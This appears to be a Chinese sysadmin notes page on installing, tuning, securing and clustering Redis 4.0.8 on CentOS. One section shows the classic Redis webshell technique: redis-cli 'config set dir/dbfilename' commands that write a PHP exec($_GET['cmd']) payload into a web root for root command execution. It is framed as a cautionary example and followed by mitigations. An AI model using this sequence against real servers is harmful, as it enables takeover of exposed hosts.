安装redis

  1. 安装前的准备

     yum install \
     vim \
     wget \
     make \
     gcc \
     gcc-c++ \
     automake \
     autoconf \
     -y \
    
  2. 下载解压并安装

     cd /root
     wget http://download.redis.io/releases/redis-4.0.8.tar.gz
     tar -zxvf redis-4.0.8.tar.gz
     cd redis-4.0.8
     make PREFIX=/usr/local/redis/ install
    
  3. 创建配置中要求的数据文件存储位置

     mkdir /data
     mkdir /data/redis
     mkdir /usr/local/redis/log
    
  4. 添加修改配置文件参考配置

     cp ./redis.conf /usr/local/redis
     vim /usr/local/redis/redis.conf
    
     # IP绑定
     bind 127.0.0.1 192.168.0.111
     # 保护模式(开启条件为各redis之间可以互相通信,做集群不可开启)
     protected-mode yes
     # 访问端口
     port 6379
     # 连接超时,单位S,0为不启用超时
     timeout 0
     # 以守护进程运行
     daemonize yes
     # 数据文件路径
     dir /data/redis
     # 进程ID文件的路径
     pidfile /usr/local/redis/log/redis.pid
     # 日志文件路径
     logfile /usr/local/redis/log/redis.log
     # 开启键过期删除通知
     notify-keyspace-events Ex
    
     ESC
     :wq
    
     # 以下安全配置选项仅作参考
         # 禁用部分危险命令
         rename-command FLUSHALL ""
         rename-command CONFIG   ""
         rename-command EVAL     ""
         # 添加访问密码
         requirepass ********
         # IP绑定本机
         bind 127.0.0.1
    
  5. 性能优化

     # 编辑/etc/rc.local
     vim /etc/rc.local
    
     echo never > /sys/kernel/mm/transparent_hugepage/enabled
    
     ESC
     :wq
    
     # 添加/etc/rc.local执行权限
     chmod +x /etc/rc.d/rc.local
    
     # 编辑/etc/sysctl.conf
     vim /etc/sysctl.conf
    
     vm.overcommit_memory = 1
     net.core.somaxconn = 1024
    
     ESC
     :wq
    
     # 立即解决
     echo never > /sys/kernel/mm/transparent_hugepage/enabled
     echo 1024 > /proc/sys/net/core/somaxconn
     sysctl vm.overcommit_memory=1
     sysctl -p
    
  6. 修改目录归属

     useradd -s /sbin/nologin -M redis
     chown -R redis:redis /data/redis
     chown -R redis:redis /usr/local/redis
    
  7. 启动redis并设置开机启动

     # 进入单元文件目录
     cd /etc/systemd/system
    
     # 创建redis单元文件,格式为: [单元文件名].[单元文件类型]
     vim redis.service
    
     [Unit]
     Description=Start redis on boot.
     After=default.target network.target
    
     [Service]
     User=redis
     Group=redis
     Type=forking
     ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
     PrivateTmp=false
     Restart=always
    
     [Install]
     WantedBy=multi-user.target
    
     ESC
     :wq
    
     # 修改文件权限为只有root用户可以编辑该文件
     chown -R root:root /etc/systemd/system/redis.service
     chmod -R 644 /etc/systemd/system/redis.service
    
     # 更新systemd
     systemctl daemon-reload
     systemctl enable redis
     systemctl start redis
    
  8. 存入数据

     /usr/local/redis/bin/redis-cli -h 127.0.0.1
    
     set num 123
     save
     get num
     quit
    
  9. 批量删除匹配规则数据

     redis-cli keys [匹配规则]|xargs redis-cli del
    

Redis宕机 aof文件损坏 启动失败

  1. 拷贝aof文件

  2. 修复坏损的aof文件

     redis-check-aof --fix [aof文件名]
    
  3. 重新启动Redis

Redis漏洞webshell的利用

参考链接

  1. Redis该漏洞用到的原理如下

    1. redis原生支持通过'redis-cli>config set'在不重启redis服务的情况 下,动态修改配置dir、dbfilename;
    2. redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执 行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文 件是一个二进制文件,但其内容中包含保存的数据的值,如果/www/目录为web 目录,则/www/test.php则会被人利用,成为入侵你服务器的入口;
  2. 漏洞举例(这是一个负面教材)

    1. redis以超级管理员用户root运行
    2. Nginx以超级管理员用户root启动,子进程也以root运行

    3. web服务器为nginx,并做如下配置:

       server {
           listen       x;
           server_name  xxx.xxx.com;
           root         /www;
      
           location / {
               index    index.php index.html index.htm;
           }
      
           location ~ \.php$ {
               fastcgi_index  index.php;
               fastcgi_pass   127.0.0.1:9000;
               fastcgi_param  SCRIPT_NAME      $fastcgi_script_name;
               fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
               include        fastcgi_params;
           }
       }
      
    4. 通过redis-cli执行了以下命令

       config set dir /www/
       config set dbfilename test.php
       set test "<?php exec($_GET['cmd']); ?>"
       save
      
    5. 这时系统就会有一个特别严重的漏洞

      1. 在/www/目录下,存在test.php文件,它可以通过http://xxx.xxx.com/test.php访问到
      2. 如果现在访问http://xxx.xxx.com/test.php?cmd=xxx,那么xxx就会被以root用户执行(xxx为任意linux命令)

Redis漏洞webshell的防范

  1. 不要线上使用redis的web管理工具

  2. redis以低权限用户运行(如rediser等让人想不到的用户名)

  3. redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24)

  4. redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "")

  5. web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程)

redis集群(cluster方式)

  1. 集群前的配置(单机两服务测试6379,6380)

     # 内网IP:192.168.0.100
    
  2. 修改redis.conf

     vim /usr/local/redis/redis.conf
    
     # 启用cluster
     cluster-enabled yes
     # 调用cluster配置文件
     cluster-config-file nodes-6379.conf
     # 集群超时
     cluster-node-timeout 15000
     # 关闭宕机全停
     cluster-require-full-coverage no
     # 集群从属元素个数
     cluster-slave-validity-factor 10
     # 从机数最低迁移值(master至少有两台slave,才能做slave迁移)
     cluster-migration-barrier 1
    
     ESC
     :wq
    
  3. 配置文件添加

     yum install ruby
     gem install redis
    
     cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup
     cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf
     cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf
    
     mkdir /usr/local/redis/data/6379
     mkdir /usr/local/redis/data/6380
    
  4. 修改redis-6379.conf

     vim /usr/local/redis/redis-6379.conf
    
     unixsocket /usr/local/redis/data/6379/redis.sock
     pidfile /usr/local/redis/log/redis_6379.pid
     logfile /usr/local/redis/log/redis_6379.log
     dir /usr/local/redis/data/6379/
     bind 192.168.0.100
     port 6379
    
     ESC
     :wq
    
  5. 修改redis-6380.conf

     vim /usr/local/redis/redis-6380.conf
    
     unixsocket /usr/local/redis/data/6380/redis.sock
     pidfile /usr/local/redis/log/redis_6380.pid
     logfile "/usr/local/redis/log/redis_6380.log"
     dir /usr/local/redis/data/6380/
     bind 192.168.0.100
     port 6380
    
     ESC
     :wq
    
  6. 修改开机启动

     vim /etc/rc.local
    
     /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf
     /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf
    
     ESC
     :wq
    
  7. 创建cluster

     cd /root/redis/src/
     # 查看帮助
     ./redis-trib.rb help
     # 添加绑定
     ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380
    
  8. 集群测试

     /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c
    
  9. 正常关闭(不要强制关闭)

     /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown
    
  10. 集群原理图(图是别人的,因为做的比较好所以拿来用,下同)

    集群原理图

  11. 容错机制

    集群容错机制

results matching ""

    No results matching ""